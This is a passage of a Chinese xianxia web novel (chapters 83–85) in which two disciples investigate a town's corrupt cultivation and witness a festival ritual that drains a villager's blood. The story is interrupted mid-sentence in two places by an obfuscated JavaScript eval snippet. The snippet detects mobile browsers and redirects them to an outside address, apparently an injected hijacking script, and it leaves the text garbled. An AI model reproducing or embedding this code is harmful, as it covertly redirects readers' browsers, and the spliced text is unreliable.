几乎是念头冒出来的瞬间,对面的少女忽然似有所查地朝这边扭头。 正撞上他慢了一拍的躲闪视线。 四目相对的瞬间,他眼睁睁看着她的目光从刚开始的愣怔,到欲言又止,最后变得满脸为难。 为难? 被人无礼地盯着,确实应该为难。 刻意忽视掉漫上心底的黯然,慕行秋决定说些什么转移话题。 祝昭昭却比他先一步有了动作。 再次指着他脚下,她深呼吸,像是下了很大的决心—— “慕师兄,你踩着东西了。” 没想到这竟是她开口的第一句,闻言先是一怔,慕行秋垂眸。 接着便见朽木翘起的地面,他的脚底…… 正踩着几条男子的袭裤。 其中一条还是破的。 终于知道一开始她为什么那样提醒自己,慕行秋抬起头。 对面祝昭昭已经双手背在身后,一脸‘我什么都没看见’的表情到处乱看。 慕行秋难得有些心情复杂。 要不…… 让她失个忆好了。 83. 你为什么突然停下? 两人走出客栈。 气氛沉默到诡异,202被吓得心里直犯嘀咕,在祝昭昭脑海里说话都小心翼翼:“主人啊,什么情况啊,大反派是生气了吗?” 跟在慕行秋身后的祝昭昭压根没什么所谓:“应该吧。” ‘应该’就是‘是’,得到答案的202顿时跳脚:“应该什么应该啊!” 它一副恨铁不成钢的样子:“主人你真是的,没事去招惹大反派干嘛。这下害他生气了,不是给我们找麻烦嘛。” “我招惹他?” 祝昭昭简直无语:“我那叫善意的提醒好吗?” 本来这会儿在慕行秋身边就憋得慌,再被202一刺激,她顿时跟开了话匣子似的:“谁知道他那么会找地方站,一站就站袭裤边上。” “幸亏是除了我没人看到,要是被上官修那种和他不对付的看到了,他还不一定怎么被人偷偷笑话。” 她没好气地做出最后总结:“他要感谢我好吗?” “还感谢你。”202阴阳怪气地学祝昭昭说话,“你想他怎么感谢你?” “哦我知道了!” 它蹦到祝昭昭脸旁:“让他先给主人你上三炷香,再作诗一首,歌颂你为他指出踩到袭裤的伟大之处,最后把你记上剑宗英才榜。” “你说好不好啊?” 祝昭昭当时就听笑了。 她‘噗嗤’一声扯起嘴角,甚至还有心情附和:“可以啊,你准备怎么叫他?我都可以配合。” “要是你让他给我行个大礼,那更好。” 说完就停住了。 因为前面的慕行秋停住了。 看着他的背影,祝昭昭一下意识到,虽然她和202的对话全部在精神空间,没有说出来,但…… 她刚才好像笑出声了…… 祝昭昭顿感不妙。 不过笑了又怎样?且不说也没证据证明她是在笑他,就说她自说自话自笑,难道就不行了? 没事问题不大。 祝昭昭视线下移。 紧接着,注意到慕行秋脚边似乎有什么东西。 什么东西? 她眯起眼,很快看清那‘东西’貌似是一条…… 哦,短裤啊。 祝昭昭释然。 等等。 修仙位面的短裤? 而且好像还是红色的? 瞳孔地震的祝昭昭再次朝慕行秋脚下看去—— 所以那是条红色的男子袭裤是吗?! 为什么啊这里也有本命年的说法吗?! 祝昭昭彻底绷不住了。 不过没关系,事情还能挽回。 大脑极速思考后,她一手握拳掩在唇边,轻咳两声。 然后露出笑容:“唉,这洛水镇的人也真是的,怎么就喜欢在必经之路上扔袭裤呢。” 下一秒,她眼睁睁看着前面的慕行秋身形一顿。 空气就此陷入比刚开始更加窒息的沉默。 祝昭昭:…… 算了毁灭吧。 * 两人最先来到的,是碧波潭附近。 望着走向潭边打坐的人的慕行秋,祝昭昭在脑海内嘱咐202:“趁着现在洛水全貌开启,你去把全洛水走一遍。” “不用跟着我。” 得到指令的202:“好嘞!” 目送202离开,祝昭昭很快走向慕行秋。 察觉到身后响起脚步声,慕行秋淡淡开口:“这些人有问题。” 有问题? 暗忖能让慕行秋都说‘有问题’的人该是什么情况,祝昭昭走到他身旁站定—— 继而在看清地上打坐的修士时,眼瞳骤缩。 她随便指着其中一个:“这些人的修炼方式难道是……?” “嗯。” 慕行秋微微颔首:“正是逆转经脉。” 祝昭昭抿唇。 逆转经脉。 正常来说,修士修炼,修的便是吸纳灵力,并在经脉流转并最终化为己用的过程。 在这一过程中,灵力于经脉内流转的顺序,应该是始于丹田终于丹田。 而逆转经脉则不同。吸收的灵力虽然同样始于丹田,但终点却是修士的全身经脉。 这极大地激发了灵力的使用效率不假,可同样的,一旦失控,对修士的伤害也不可估量。 轻则经脉尽毁,重则…… 走火入魔。 很快回过神来,祝昭昭若有所思:“如果说先前晚上见他们时,他们的修炼方式没问题,是因为那只是洛水镇伪装的一部分。” “那么早上我们看见他们时,他们的修炼方式同样没有问题,又是为什么?” “因为若是没猜错的话,” 慕行秋若有所思:“他们应该是在交替使用两种修炼方式。” 交替使用两种修炼方式? 以莫沉云的手段和警惕性来看,这倒也像是他会做的事…… 思忖着很快意识到什么,祝昭昭沉吟:“如果两种修炼方式交替使用,那么一旦在危急关头,他们就很有可能……” “本能地/下意识逆转经脉。” 异口同声的祝昭昭和慕行秋,就此对上视线。 眨眨眼,祝昭昭率先收回目光:“所以这就是从洛水镇回来的弟子会突然暴毙的原因么。” “嗯。” 弯下腰仔细查看离自己最近的修士,慕行秋语调平静:“而他们之所以夜间才如此修炼,想来应该和他们口中的‘神’脱不了关系。” 何止是神。 祝昭昭望着他动作。 “还有灵果。” 她理了理裙摆,在慕行秋身旁蹲下:“灵果为辅,神迹为主。两种作用相辅相成下……” 慕行秋接过祝昭昭话头。 “共同造就修士们修炼速度大大加快的假象。” 闻言‘唔’了一声,祝昭昭伸手点点下巴:“也不算是假象吧。” “毕竟他们修炼速度大大提升是事实?” 轻笑一声,慕行秋不置可否。 “好了。” 双手‘啪’一声拍上膝盖,祝昭昭站起身:“既然修士这边的问题已经查看得差不多了,那要不要去镇民聚集的地方再看看?” 慕行秋直接以站起代替了回答。 见状打了个响指,祝昭昭转身就走。 接着下一秒,身后忽然传来慕行秋平静得有些莫名的话音。 他说:“不过昭昭师妹是如何知道灵果作用的?” 坏了。 祝昭昭:“……” 慕行秋:“我记得我曾三令五申,所有人都不能擅自去接触灵果。” “所以昭昭师妹你能否告诉我,在不接触灵果的情况下,你是如何得知灵果与神迹可以相互作用的?” 汗流浃背的祝昭昭:“……” 要不你还是自己上一边找袭裤踩去,别和我一起了吧。 * 在夜探洛水这件事上,慕行秋确实比祝昭昭经验丰富。 即使如今两人眼前的洛水已经面目全非。 再次路过一个印象里精美非凡的宅邸,望着那不仅脱色还裂了道大缝的匾额,祝昭昭不免有些感慨:“真不知道如果有朝一日,洛水镇的真面目展现在镇民们面前,他们该会是什么反应。” “不知道。” 慕行秋答得很爽快:“而且昭昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280566|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师妹你与其替镇民们担心这些,倒不如先注意一下自己的思想。” “毕竟按你所言,记忆是维持洛水镇真实的重点。那么你现在的设想,很有可能会打破洛水镇在你眼中的‘真实’。” 心说我又没问你乱/插什么话,祝昭昭趁他不注意撇了撇嘴:“这点昭昭还是知道的,慕师兄大可放心。” “既然昭昭师妹已经说到这个份上,”慕行秋轻笑颔首,“那我再说,反倒显得多余。” 祝昭昭皮笑肉不笑:“怎么会呢,昭昭还要多谢慕师兄提醒。” 两人就这么你一言我一语地走完了计划中的几个地点。 不像在修士聚集的地方那样发现了令人惊讶的事实,洛水镇民聚集的几个地点并没有什么特别值得注意的事。除了祝昭昭路过某些镇民家的时候,看见他们的房顶破了个至少一米长大洞。 祝昭昭很难形容看见接连看见四个屋顶大洞时的心情。 嗯…… 联排敞篷别墅? 探查结束,两人以最快的速度回到客栈。 匆匆回到三楼,路过白月书等人所住的房间时,祝昭昭习惯性地透过破洞的窗子朝里面瞥了眼。 继而忽然注意到什么。 “那个人……脸上的表情是不是有点奇怪?” 是探路归来的202。 扫了眼朝窗子里看得认真的202,祝昭昭面如平湖:“是有点。” “那应该不能叫有点了吧?”202看着看着,忽然相当嫌弃地‘咦’了一声,“到底谁会笑成那个样子啊?好恶心……” 祝昭昭眼皮一翻,选择无视它的自言自语。 虽然202的话略显夸张,但的确,不论是入定还是睡眠,正常人作出这副表情都足够反常。 尤其在封闭五感对莫沉云的幻境影响无效,这一前提条件下。 很清楚这意味着什么,祝昭昭难免有些烦躁。 见祝昭昭不答话,那边202嘀咕着,终于想起什么:“对了,光注意到那家伙的一脸怪笑,差点忘记问了。” “他是谁啊?” 人都不知道是谁,就已经先嫌弃上了? 祝昭昭简直无力吐槽。 沉默片刻后,她才回答:“……刘统。” 可惜202完全没有注意到她一言难尽的表情:“刘统……没记错的话,他是主人你们这个小队里修为最低的人吧。” 疲惫感后知后觉地袭来,祝昭昭打了个哈欠,已经懒得和它浪费精力:“嗯。” “那既然他已经被影响到了这种程度。”202充分转动它智慧的大脑,“有没有可能,和他修为差不多的人,情况也不会太好?” 和慕行秋道完别,祝昭昭推开形状尚存的房门,然后再一次—— “嗯。” 202眼神忽地犀利起来:“那个人是——!” 是云珈。 脑海里不由随着202的话音浮现出路过云珈房间时瞥见的,面带微笑的她。祝昭昭闭上眼:“所以你的解药研发进度是。” “马上马上。”202一派轻松地,“再给我最后一点时间。” 再睁眼,客栈恢复成初见的模样。祝昭昭抬手一个净尘诀:“尽快,时不待人。” 202没说话,只是投射出个‘OK’手势。 祝昭昭于是盖上被子。 “不过主人。”202漂浮在她脸上方。 祝昭昭翻身:“说。” “你为什么要恢复客栈的伪装啊?” “眼不见为净。” “可是主人你不怕躺到或者踩到什么奇怪的东西吗?” “……” 不需要你提醒,谢谢。 84. “月书,你快过来!” 又是美好的新一天。 睡得正香的祝昭昭忽然听见有声音隔着门响起—— “昭昭?” 迷迷糊糊地‘唔’了声,祝昭昭选择翻身背对房门,用沉默让声音自动消失。 那声音却锲而不舍—— “昭昭,还没起床吗?已经很晚了。” 好熟悉的女声,好像是…… 困成浆糊的大脑不允许祝昭昭深入思考,她皱了皱眉,选择带着隐约意识到什么的不妙感觉,一把捞起被子盖过头。 直到—— “之衡,昭昭她果然是……” 祝昭昭瞬间直挺挺从床上坐起来,整个人惊恐到失声:“我没有脑疾!!” 世界安静了。 久久不散的余音里,祝昭昭终于彻底清醒。 她先看一眼正在身边转着风扇,眼观鼻鼻观心的202,再看一眼此刻静得可怕的门外。 然后沉默了。 她不就睡了个觉吗…… 祝昭昭:心好累·jpg 深呼吸,狠狠抹了把脸翻身下床,祝昭昭以最快的速度清洁完再穿好衣服,然后冲向房门—— “月书师姐,之衡师兄,早上好。” 望着祝昭昭言笑晏晏的脸,被点到名的两人猛地惊醒。 又无比默契地一左一右移开视线:“昭昭你也好。” 祝昭昭脚趾扣地。 不是,你们不要一副做了亏心事的样子啊! 整理了下略微复杂的心情,她刚想说点什么缓解尴尬,就先被一阵嘈杂声响吸引了注意。 很快分辨出笑闹声是从楼下传来,难得在客栈听见这么大阵仗的祝昭昭不由好奇起来。 她侧头:“楼下今天怎么那么热闹,是在庆祝什么东西吗?” 闻言很快回过神来,白月书张了张口:“对,今天……” 凭空出现的声音截去她话头—— “今天是神祀之时。” 先是齐齐一愣,三人循声扭头,正对上从房间里探出半边身子的钟安林。 他朝三人爽朗一笑:“就是我之前说的那个,洛水镇的神现身的日子。” “神祀之时?” 祝昭昭点点下巴:“我记得钟师兄你不是说过,神祀之时对洛水镇而言是非常重要的日子吗?” “我们不过才在这里待了几日,就那么巧被我们碰到了?” “你也觉得很巧是吧?”钟安林笑得更开心,“我昨日得知时也很惊讶。” 白月书听出不对:“昨日?” 钟安林点头:“没错。” “可按常理来说,”白月书皱眉,“若是重要庆典,通常都会提前几日就该着手准备才是,怎么会昨日才匆匆开始安排?” 稍加思索后,钟安林答:“兴许镇民们早就准备了,只是我们没看见?” 这个解释并没有打消白月书的疑虑:“举行庆典的地方在何处?” 钟安林:“祭庙。” 听见‘祭庙’两个字,一直没出声的秦之衡开口:“我昨日就在祭庙附近,并没未看见有镇民在准备什么。” 说着意识到什么,他语气渐渐凝重起来:“月书说得不错,这的确有些不合常理。” 四个人安静下来。 直到祝昭昭晃晃脑袋:“总之我们现在站着发呆也没用,倒不如下去看看。” “兴许可以发现什么有用的信息呢?” 白月书颔首表示赞同:“昭昭言之有理。” 秦之衡于是跟着附和:“那我们这便下去瞧瞧罢。” 打定主意,秦之衡和钟安林率先走向楼梯口,白月书则是安静地站在原地等祝昭昭关门。 白月书不是多话的人。 然而当看到祝昭昭关门只是随手一带时,她还是不解出声:“昭昭,你不落个锁么?” “不用。” 祝昭昭疲惫微笑:“这个门,它落不落锁都一样的。” 都一样? 虽然看不懂祝昭昭那是什么表情,但不妨碍白月书几乎立刻把听不懂她话的原因,归咎到自己因修炼而疏于了解时兴事物上。 她有点慌。 老是这样会不会不太好,万一哪天被昭昭嫌弃了怎么办? 想到这,白月书不由一惊,越看安安静静的祝昭昭越觉得自己猜得对。 然后更慌了。 决定了! 她要向年轻人学习! 暗暗捏了把拳,白月书坚定沉声:“以后,我也不再给房门落锁。” 正在她身边专心走路的祝昭昭:“……?” 所以发生了什么? * 秦之衡和钟安林走得快,祝昭昭和白月书相携到达祭庙时,他两人已经和其他在场镇民打成一片。 准确来说,是钟安林和镇民打成一片,秦之衡则安静如鸡地站在他身旁,无处安放的手时不时握住衣角又松开。 生动演绎了什么叫E人与I人的区别。 祝昭昭差点抚掌惊叹:实在是好一场酣畅淋漓的社会观察。 而要说秦之衡和白月书不愧是位面男女主。眼看着有镇民和钟安林说完话后,开始笑容满面地往自己身边聚集,秦之衡手忙脚乱着,下一秒,竟然准确无比地锁定了白月书站着的方向。 然后如获大赦地高举起手:“月书,这边!” 祝昭昭:哦豁。 抱着围观吃瓜的心情,她下意识朝白月书的方向扭头—— 这才发现不知什么时候,她半个身子已经来到自己身后。 祝昭昭:噫!! 她吓得倒吸口凉气:“月,月书师姐?” 本来准备躲在祝昭昭身后看戏的白月书:“……嗯。” “之衡师兄他,他……”抬手指指远处的秦之衡,祝昭昭螃蟹步往边上移开,“他在叫月书师姐你呢。” 秦之衡耐心的一声声呼唤里,白月书缓缓站直身子。 最后面色平静地点头:“知道了。” 接着,祝昭昭就看见她闪身出现在秦之衡身前数步远的地方,面无表情地伸出手—— 刚好接住一位大娘笑眯眯塞给秦之衡的篮子。 期间还因为大娘塞篮子时的力气太大,猛地踉跄了下。 目睹全程的祝昭昭瞳孔地震。 能让位面女主都差点摔地上,大娘果然才是食物链的顶端。 不再看那边吵吵闹闹的三个人,乐得清净的祝昭昭自己散起步来。 其实早在从客栈赶来的路上,她就已经看见许多小贩提前在街边支起摊子。 和以往卖的东西略有不同,今天能看到的货品里多了鲜花香烛,以及金纸火盆一类祭祀用的物品。 小贩们搬着货品来来往往,偶尔还抽空和在自己摊位前停留的人搭话。而不论是忙碌的小贩还是来往的镇民,每个人脸上都带着灿烂的笑容。 如同现在祭庙这的大多数人。 微笑着婉拒了一位少女递给自己的水果,祝昭昭目光一转,落在不远处正搬着一盆盆鲜花的镇民们身上。 此时日头正烈,也许是因为长时间在太阳底下搬运重物,有镇民走着走着忽然脚下一软,踉跄着就要摔倒。 见状指尖微动,祝昭昭刚想操纵灵力扶住那镇民,却有人比她动作更快—— 离那镇民最近的一个修士驱动法器挡在了他身前。 也许是怕法器不够快,那修士甚至自己伸长了双臂想搀扶镇民。 而随着那镇民扶着法器站好,周围众人终于反应过来,纷纷围到两人身边又是夸赞修士大义,又是拿来冷茶水果让两人吃喝,然后把镇民赶去树荫下休息。 祝昭昭驱散手中灵力。 哪怕这样的场景在洛水几乎随处可见,她也早就习以为常。但再一次目睹这样团结祥和的景象,她还是不免心生感慨。 但感慨之余,又隐隐觉得有什么地方不对劲。 什么地方不对劲? 祝昭昭沉吟。 就在她愣神的当口,原本各自忙碌的镇民忽然都放下手里的活,朝祭庙方向聚集。 直觉有必要去看看,祝昭昭抬脚跟上一个正好从自己身旁走过的镇民。 还未看见祭庙大门,一道焦急的声音就先传进她耳中—— “这可怎么办啊!” 很快分辨出这粗犷低沉的声音是男声,祝昭昭带着疑惑在人群里找了个位置站定。 入目就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280567|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个男子跪坐在地的背影,哪怕围上来的人越来越多,他亦没什么反应,只是自顾自地又叫起来。 “这可怎么办啊!” 这次的声音带了哭腔。 离他最近的一位大娘听得不忍:“春生,好端端的,你这是怎么了。” “这些贡品!”名叫春生的男人指着面前地上的红漆木盘嚎了声,“这些贡品有问题!” 贡品可是今晚祭典上要献给神的东西! 众人闻言大吃一惊,连忙顺着春生的手指看去—— 果然看见木盘上本该鲜亮水润的瓜果此刻蔫巴巴的,完全一副已经放置多时,完全干枯的模样。 大娘顿时急得直跺脚:“这是怎么回事啊,这些水果不是早上才从树上摘下来的吗?” “怎么会变成这样?!” 有人冲到大娘身边安慰她:“六婶您别急,急坏身子可不值当。” “这可是今晚要献给那位的贡品啊!”六婶一下下拍着大腿,“祂让我们过得那么好,我们却连一点贡品都准备不好,这像什么样子!” 人群议论纷纷着,开始动起来。 有说好听话,让六婶冷静些,大家一起想办法的;有扶起春生,让他别再跪在地上的;有端起木盘拿起瓜果,看究竟什么情况的;有问贡品还有没有备用的,现在就洗好送过来的—— 就是没有人责怪春生看护贡品不利,亦或是质疑准备贡品的人玩忽职守。 一个都没有。 所有人都在努力想办法解决事情,没人觉得贡品出问题谁需要负责。 祝昭昭静静看着眼前的景象。 很快,有人推着辆小斗车急匆匆从路口跑了过来。 把斗车停在春生等人跟前,那人道:“这里就是剩下的所有备用果品了,快拿出来放在盘里吧。” 春生等人闻言也不含糊,立刻就将木盘里的果品倒掉,换上新的果品。 祝昭昭也转身准备离开。 然而下一秒,她再次听见惊叫声—— “怎么会这样?!” 欲走的脚步停住,祝昭昭扭头,就见木盘上的果品已经蔫掉了。 如果不是亲眼见到新的果品是怎么被摆在木盘里,她甚至会以为盘上的果品根本就没有动过。 怎么会那么快? 祝昭昭有些意外。 眼睁睁看着果品变坏,所有人都按捺不住了。 “到底怎么回事?!” “再换新的试试?” 换新,蔫掉,换新,蔫掉……如此循环三四次后,人群安静下来。 许久,有人试探出声:“是不是……” “那位对这次的贡品不满意?” 没人接话,空气落针可闻。 直到一位白发苍苍的老人拄着拐杖走到斗车前。 盯着斗车里所剩无几的果品,他杵了下拐:“既然如此,便用那个方法吧。” 那个方法? 祝昭昭目送人群朝庙的方向走。 停在庙前的众人自发围成一个圈,祝昭昭在圈的最内层,刚好可以看见空出来的地方。 先搬出张木桌放在空地中央,再把装着蔫巴果品的红漆木盘摆在桌子中央,老人以木盘为中心画出个法阵。 快速扫了眼桌上阵法,祝昭昭很快判断出法阵的作用是…… 吸纳? 吸纳什么? 正疑惑着,祝昭昭就见老人微侧的头轻点。 一个修士便从他身后的人群里走了出来,站在他身旁。 “好了。” 老人望向人群:“谁来。” 几乎是立刻,春生大步走到木桌前,与老人面对面。 他语气坚定:“我来。” 话落,春生伸出手。 老人赞许点头。 他再次以眼神朝身旁修士示意。 祝昭昭还在不解桌前三人在打什么哑谜时,修士动了。 掌心中多了道青光,修士并拢两指,向着春生手的位置虚空一划。 修行者五感清明,修士收手的瞬间,祝昭昭嗅到一阵甜腥气。 透过春生背影,她看见拉长的液体滴落在桌面。 是血。 85. 你故意绊倒那两个孩子? 血? 为什么会是血? 鼻间甜腥气渐浓,祝昭昭左右查看一番后,疾步走到了春生对面的方向。 而直到她重新找到位置,春生被割开的手腕都还在流血。 他手腕放置的地方很巧妙,刚好在木盘靠下一边正中。想来应该是那修士灵力的作用,他血液滑落的速度异常快。 不仅快,并且非常多。 深红浓稠的血液从腕上的伤口汩汩涌出又落在桌面,盘底阵法被血液激活亮起红光。 明明同样是红色,可桌子、鲜血与阵法的色调却诡异的泾渭分明,也因此让所有镇民的视线,都集中在最中心的果品上—— “果子好像有点好起来了!” 振奋的声音如同一针强心剂,众人高声欢呼,有激动者甚至与身旁的人相拥哭泣起来。 不假辞色地拒绝了身旁一个想和自己拥抱的镇民,祝昭昭环顾四周,眉头渐渐皱起。 有必要做到这种程度吗? 这些人在高兴什么? 他们没有发现那个叫春生的男人已经因为失血过多,脸色惨白得像一张纸吗? 目光从春生的脸移到盘中尚未彻底鲜亮起来的果品,祝昭昭直觉意识到有什么她不知道的东西,正渐渐在这群人中无声蔓延开来。 是什么? 祝昭昭没有思考太久。 因为下一秒,面色灰败的春生轰然倒地。 伴随着重物砸落地面的沉闷声音响起的,是人群里不知谁的兴奋欢呼。 “恢复了!果品恢复了!” 欢呼声响起的刹那,笼罩桌面的红光也尽数收敛至盘底。日头取代红光落在盘中果品上,颗颗果子被照得无比鲜灵,仿佛根本没有枯萎过。 这盘贡品恢复了最完美的模样。 代价是抽干一个人的鲜血。 静静地站在原地,祝昭昭任由嘈杂的庆祝声音在她耳边回响着,一刻不停。 一个人死了,但这帮人眼里,却只有那盘沾着血的果品?? 就因为那个叫‘神’的东西? 众人刚才互帮互助的场景仿佛还在眼前,望着春生那孤零零躺在地上的矮小身躯,祝昭昭心底不受控制地升起一阵毛骨悚然。 忽然只觉鼻间弥漫的血腥气已经到了一种无法忍受的地步,祝昭昭拼命按捺住几欲作呕的冲动倒退出人群。 哪怕有灵力为她开路,可到底是倒着退出去的,无法看清周围情况的祝昭昭避开了所有人,却还是不小心踩到一块石头。 失去平衡的身体不受控制地向后倒下,祝昭昭本想直接用灵力撑住自己。 可随着动作无意识仰起的视线落在木桌的方向,看着不远处那个被众多镇民簇拥着感谢的,在春生腕上划开长长血口的修士,她最后驱散灵力,任由自己往下倒。 继而跌进一个怀抱。 “土路多碎石,昭昭师妹走路要小心。” 熟悉的,带着不易察觉的浅淡笑意的声音从身后传来,祝昭昭顿时绷紧身体。 几乎是弹射站起,她彻底冷静下来:“知道了。” “多谢慕师兄……” 祝昭昭突然卡壳。 谢他什么? 谢他危急时刻在她身后当肉/盾,让自己免受摔伤之苦? 还是谢他提醒自己走路要小心? 鼻间的血腥气不知何时转淡,取而代之的,是有些飘忽却不容忽略的月清花香。嗅着幽幽香气,祝昭昭想了想,把没说完的道谢补上:“多谢慕师兄出手相助。” 至于助了什么? 管他的。 反正她谢过了。 祝昭昭:不要在意那些细节·jpg “不客气。” 微一颔首算是接受道谢,慕行秋状似无意地望向祝昭昭身后人群:“里面有血腥气。” “是有人死了么?” 心说你一元婴后期装什么普通人在那里问来问去,祝昭昭拍拍裙摆:“嗯。” 不着痕迹地退开两步,给祝昭昭整理衣服的空间。慕行秋很快也注意到被人群簇拥的修士:“镇民们都围着那个修士。” “他是做了什么吗?” 祝昭昭拍着裙摆的手一顿:“……嗯。” 将她细微的反应收进眼底,慕行秋移开视线,并不点明:“让我猜猜——” “他杀了人。” 沉默,背对人群的祝昭昭没有回头。 她不是喜欢和人倾诉的性格。 加上祭祀杀人的事本就不鲜见,她虽然反感,但冲击过后,却还是很快调整好了情绪并接受事实。 毕竟位面千千万,有奇怪习俗的位面只多不少。如果随便看见什么事情就长久陷入的负面情绪,对执行任务百害无一利。 所以祝昭昭早已习惯自己消化很多事。 可今天,看着就那么安静站在原地望着自己的慕行秋,她却鬼使神差地开了口:“那些人……洛水镇民们很团结。” 慕行秋语气很轻:“嗯。” 抿了抿唇,祝昭昭继续:“贡品有问题,换了几次都不行。所以他们用吸纳阵法吸取人的血气,让贡品重新恢复新鲜。” “动手的是那个修士。” 说话时,祝昭昭下意识低了头。 慕行秋于是垂眸,目光落在她发髻上,那被日头照射着的碧玉小花:“如此。” “他们明明那么团结,可那个人死的时候却没人去看他,所有人都只顾那盘贡品……” 不受控制的,祝昭昭语气渐快:“那人是被抽干血死的,所以里面都是血腥气。太臭了实在叫人待不下去,我——” “钟师弟说,今天是神祀之时。” 少见的,慕行秋主动开口:“他说祭庙有活动,让我过来看看。” “我便来了。” 大脑因为被截话而短暂空白,祝昭昭怔怔盯着他:“……是么。” “是。” 脚步一转,慕行秋示意祝昭昭跟着自己:“我来的路上,刚好看见钟师弟和之衡被镇民拉去其他地方帮忙。” “难怪刚才祭庙那么大动静也没看见他们过来。” 祝昭昭说着,下意识想回望身后的祭庙。 原本走在前面的慕行秋却不知为何慢了数步,直接落在她身后:“嗯。他们现在应该在碧波潭。” 视线被他颀长的身形挡住,祝昭昭皱了皱眉,倒也没多想。 只是转回头:“那月书师姐呢?我刚才也没看见她。” “月书当时就在他两人后面。” 哪怕祝昭昭已经没有回头的意思,慕行秋也依旧走在她身后,“月书比他们反应快,我一出现就瞧见了我,然后告诉我你独自一人在祭庙附近,让我过来找你。” “原来如此。” 祝昭昭点点头。 两人你一言我一语,不知不觉间彻底走出祭庙范围。 恰巧有风吹来,捎带上远处的阵阵孩童嬉闹声。 祝昭昭先是一愣,接着循声望去—— 一座凉亭出现在她视线中。 “这是……” 祝昭昭话还没说完,便有两个小男孩打闹着朝她的方向冲来。 小男孩们速度很快,还不等祝昭昭反应就已经冲到离她很近的距离,眼看就要把她撞倒在地。 可下一秒,其中一个男孩却突然凭空绊了一跤,因为失去平衡而抬起的腿又好巧不巧卡住另个男孩,两个人抱在一起就要摔到地上。 一整套行云流水的动作都让祝昭昭惊呆了。 什么情况? 好在千钧一发之际,一道灵力出现,接住了两个孩子。 是慕行秋。 轻轻将两个小男孩扶起来,他言笑晏晏:“土路碎石多,你们玩闹要小心。” “谢谢大哥哥。”其中一个孩子憨憨地点点头,很快拉着另一个稍小的孩子跑走了。 目送两个孩子离开,祝昭昭有些不解。 那两个小男孩明明是凭空摔的,慕行秋干什么叫人家小心碎石? 见人就要人小心碎石是吧? 望着两个孩子刚才摔倒的地方,祝昭昭忽然愣住。 等等…… 好像不是凭空…… 一言难尽地看着散步回自己这边的慕行秋,祝昭昭凑到他身边小声:“你刚才是不是用灵力绊小孩了?” 闻言挑眉,慕行秋眼角闪过一丝玩味:“何以见得?” 还‘何以见得’。 祝昭昭简直无语。 她选择有话直说:“那两个孩子跑得快但是稳,没东西绊倒,不可能摔跤。” “可是。” 慕行秋神色自若:“他们是冲着昭昭师妹你去的,我为何无事主动招惹他们?” 此话不可谓不合理。 祝昭昭沉默。 好吧。 她就说慕行秋不可能是因为看那两个小孩子要把她扑倒,才搞小动作让那两个小孩子摔倒。 要是火烧到他身上,他倒还有可能这么干。 偷偷在心底翻了个白眼,祝昭昭转移话题:“所以我们现在来这里做什么?” 她被不远处的孩童嬉闹声吸引:“这是洛水镇孩子们玩乐的地方,想找有用的信息,这里也许不太适合。” “我知道。”慕行秋颔首。 知道? 知道还过来做什么? 喜欢小孩子? 默默在心底整理了下语言,祝昭昭问:“那慕师兄你来这里是为了……” “看那个孩子。” 慕行秋朝某处轻轻抬了抬下巴:“先前探查时,我因为镇中幻境的原因短暂迷失在一处树林中。” “是她帮我找到方向。” 听见‘帮助’两个字时,祝昭昭原本因刚才的闲聊稍稍松快起来的心,又沉了下去。 但她掩饰得很好:“所以?” “所以我想让你帮我,”慕行秋收回留在她身上的目光。 接着他掌心向上,露出里面的桃红瓷罐:“把这个交给她。” “权当我的谢礼。” 盯着那不足自己半个手掌大的圆形小 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小孩子的喜欢和讨厌总是无比真实,也因此更显得小鱼这句评价含金量十足。 望着她亮晶晶的眼睛,想起慕行秋刚才那番抽象发言的祝昭昭忽然起了坏心眼:“是呢。” 她脸上多了些惋惜:“大哥哥说他一直笨笨的,走路总是找不到方向。那天如果不是因为你帮了他,他可能就要在原地过夜了。” 小鱼被祝昭昭的情绪感染:“啊……” “那大哥哥好可怜哦……” “没错。”祝昭昭点头,“所以为了感谢你,他给你选了个礼物。” 她说着,将桃红瓷罐递到小鱼面前:“但他很害羞,不好意思见你,所以托我来把礼物给你。” “你要收下吗?” “嗯!” 重重一点头,小鱼接过瓷罐,将之抱在怀中:“谢谢大哥哥,也谢谢姐姐!” 看着小鱼抱住瓷罐爱不释手的模样,祝昭昭也不自觉软下眉眼:“不客气。你是好孩子,这是你应得的。” 这本是句很正常的夸奖。 可原本高兴的小鱼听完,抱着瓷罐的手却突地一僵。 接着,她低下头:“……不是。” “小鱼不是好孩子。” 没想到会得到这么个回答,祝昭昭愣了一下:“怎么会呢?” “小鱼你愿意帮助不认路的笨蛋大哥哥,怎么会不是好孩子呢?” “因为小鱼看不见神。” 小鱼把头埋得更低:“大家都能在梦里看见神,可是小鱼看不见。大家都说因为小鱼不是好孩子,所以小鱼才见不到神。” “小鱼不是好孩子……” 洛水镇里,竟然有天然免疫莫沉云幻境的人? 意识到这点,祝昭昭有些意外。 也这才发现,在这全是互相打闹的孩子的地方,只有小鱼身边空无一人。 难怪她能不被打扰地一直和小鱼聊到现在。 竟然是这样。 很快回过神来,祝昭昭轻声开口:“不是的。” 她温柔而坚定地,对上小鱼的视线:“是不是好孩子,从来和看不看得见神没关系。” “你很勇敢,愿意帮助迷路的人。而主动帮助别人,本来就是只有好孩子才会做的事。也只有好孩子,才会得到别人的谢礼。” 